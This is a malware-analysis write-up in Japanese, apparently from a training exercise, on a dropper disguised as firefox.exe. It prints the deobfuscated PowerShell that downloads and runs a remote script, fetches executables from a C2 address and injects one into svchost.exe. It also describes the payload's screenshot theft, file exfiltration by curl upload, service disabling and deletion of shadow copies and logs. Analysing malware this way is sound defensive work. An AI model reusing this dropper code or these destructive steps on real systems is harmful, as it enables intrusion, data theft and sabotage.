---
# System prepended metadata

title: チームB マルウェアの動作

---

# チームB マルウェアの動作

## firefox.exe
- ps2exeが使ってある(strings等の表層解析)

- 以下のコマンドで元のPowershellが取れる
```
firefox.exe -extract:"hoge.ps1"
```

- 取り出したPowershellは難読化されているので、解く
- before
![](https://i.imgur.com/WPGgYcy.png)
- 解析アプローチ
  - 実行箇所（IeX:Invoke-Expression）を分離し、難読化解除箇所をpowershellで実行
![](https://i.imgur.com/PCbHxNi.png)

- after
```
if(Test-Path "C:\Program Files\Mozilla Firefox\firefox.exe"){ start "C:\Program Files\Mozilla Firefox\firefox.exe"}
$script = (New-Object Net.WebClient).DownloadString("http://172.17.20.12:8080/afsjkx/fasiuhsjcn/nvjkdanfih.ps1")
Invoke-Expression("&{$script} $args")
```
## 難読化Powershell
- 「 http://172.17.20.12:8080/afsjkx/fasiuhsjcn/nvjkdanfih.ps1 」を取ってくると難読化されているので、解く
- before
 ![](https://i.imgur.com/InCCKYS.png)
- after
```
$RandVal = -join ((1..15) | % {Get-Random -input ([char[]]((48..57) + (65..90) + (97..122)))})
$RandVal2 = -join ((1..15) | % {Get-Random -input ([char[]]((48..57) + (65..90) + (97..122)))})
$TempPath = "C:\Users\" + $env:USERNAME + "\AppData\Local\Temp\"
$RandPath = $TempPath + $RandVal
$RandPath2 = $TempPath + $RandVal2
mkdir -p $RandPath
mkdir -p $RandPath2
$httpPath = "http://172.17.20.12:8080/afsjkx/fasiuhsjcn/"
$nottorikun = "nottorikun.exe"
$inject = "InjectProc.exe"
$7zip = "Runtime Broker.exe"
$renameFile = -join ((1..15) | % {Get-Random -input ([char[]]((48..57) + (65..90) + (97..122)))}) + ".exe"
$renameFile2 = -join ((1..15) | % {Get-Random -input ([char[]]((48..57) + (65..90) + (97..122)))}) + ".exe"
$nnw = new-object Net.WebClient;
$filePath = $RandPath + "\" + $renameFile;
$filePath2 = $RandPath + "\" + $renameFile2;
$nnw.DownloadFile($httpPath + $nottorikun,$filePath);
$nnw.DownloadFile($httpPath + $inject,$filePath2);
$nnw.DownloadFile($httpPath + $7zip,$TempPath + $7zip);
Start-Process $filePath2 -ArgumentList "proc_rpl C:\Windows\System32\svchost.exe $filePath" -Verb runas -Wait -WindowStyle Hidden;
Remove-Item $RandPath -Recurse
Restart-Computer -Force
```

### 動作
- nottorikun.exe InjectProc.exe Runtime Broker.exeをDL
- nottorikun.exeをsvchost.exeにプロセスインジェクション
- DL後にディレクトリごと削除
- 最後にWindowsを強制的に再起動

## マルウェア本体
### nottorikun.exe
- 「 http://172.17.20.12:8080/afsjkx/fasiuhsjcn/nottorikun.exe 」でダウンロードできる
#### 動作
- 解析対策
  - プロセスの一覧を取得
    - exeの実行ファイル名を取得
    - プロセスIDを取得
  - Procmon.exeやWireshark.exeが実行されていたらTerminateProcess
- スクリーンショットの取得
  - カレントスクリーンのビットマップを取得
  - C:\Users\testuser\AppData\Roaming\temp\2Cr3En2H0t.bmpに保存される
- ファイルの探索・アップロード
  - C:\Users\{ユーザ名}\Desktop配下からファイル名が「.pdf/.txt/.py/.bmp」などのファイルを探索
  - C:\Users\testuser\AppData\Local\Tempフォルダに探索したファイルをコピー&zip圧縮 (Runtime Brokerを利用)
  - zipに圧縮されたあとTempフォルダの中身はDeleteFileWされる
  - 圧縮したファイルをアップロード
    - curl -k POST https:/172.17.20.12:8443/upload.phpを呼び出してzipをC2に送信
- Runtime Broker.exeを起動
  - C:\Users\testuser\AppData\Roaming配下にプログラム実行日時(%Y-%m-%d-%H-%M-%S)の名前のzipファイルが作られる
  - zipファイルのパスワードは「PassWordddd」
  - zipにはスクリーンショットやpdfなど様々なファイルが含まれる
  - zipを作成したあとRuntime Broker.exeは削除される
- サービス起動の無効化
  - ChangeServiceConfigWで全てのサービスのStartTypeを4(起動しない)に変更
  - 再起動時にWindowsが起動しなくなる
- C:\Users\testuser\AppData\Roaming\71895610541281051.batを作成
  - シャドウコピー(VSSデータ)を削除
  - ローカル コンピューターに格納されているバックアップカタログを削除
  - windows10のブートに失敗しても気にせずブートを実行するようブート設定変更
  - スタートアップ修復の無効化
  - イベントログの削除("System" "Security")

### InjectProc.exe
- 「 http://172.17.20.12:8080/afsjkx/fasiuhsjcn/InjectProc.exe 」でダウンロードできる
- プロセスインジェクションをやってくれる
  - nottorikun.exeをsvchost.exeにプロセスインジェクション

- ハッシュ
![](https://i.imgur.com/j6WIW1p.jpg)


- どこかから盗ってきたやつっぽい
    - 引用元URL
      - https://github.com/secrary/InjectProc
      - https://manalyzer.org/report/7407342cd72aab4a293cfa8248c393f1

### Runtime Broker.exe
- 「 http://172.17.20.12:8080/afsjkx/fasiuhsjcn/Runtime Broker.exe」でダウンロードできる
- zip圧縮を行う実行ファイル
- https://github.com/kornelski/7z
- 7-Zip (a) 19.00 (x86) : Copyright (c) 1999-2018 Igor Pavlov : 2019-02-21

## その他
- http://172.17.20.12:8080/phpinfo.php

# Tactics/Technologies
|        Tactics        | Technologies |
| --------------------- | -------- |
| Initial Access        |  Trusted Relationship |
| Execution             |  User Execution / PowerShell     |
| Persistence           |       |
| Privilege Escalation  |       |
| Defense Evasion       | Software Packing / Process Injection /  Process Discovery / Hidden Window / File Deletion  |
| Credential Access     |       |
| Discovery             | Data from Local System      |
| Lateral Movement      |       |
| Collection            | Screen Capture     |
| Command and Control   | Remote file copy      |
| Exfiltration          |       |
| Impact                |       |


# 解析してみた感想
- exeファイルの解析を始める際に、大枠をつかむ前にIDA Proでの解析を行ったので大変だった。
    - 動的解析や表層解析を行い、大まかな内容を確認してから静的解析にうつるとスムーズになる？
    - firefox.exeをstringsコマンドで見てみるとps2exeが使われていることが分かる

- ツールが使われている際に、それが何かを突き止めるググり力が大切だと感じた
    -  ハッシュや特徴的なAPI・名前を調べると流用元のファイルやコードが見つかるので解析でもOSINTは大事

- 読み解くのは大変だが、地道にコツコツ頑張れば答えにたどり着ける



# 以下テンプレ (書き換えないで)
# Tactics/Technologies
|        Tactics        | Technologies |
| --------------------- | -------- |
| Initial Access        | ふんじゃった     |
| Execution             | Text     |
| Persistence           | Text     |
| Privilege Escalation  | Text     |
| Defense Evasion       | Text     |
| Credential Access     | Text     |
| Discovery             | Text     |
| Lateral Movement      | Text     |
| Collection            | Text     |
| Command and Control   | Text     |
| Exfiltration          | Text     |
| Impact                | Text     |
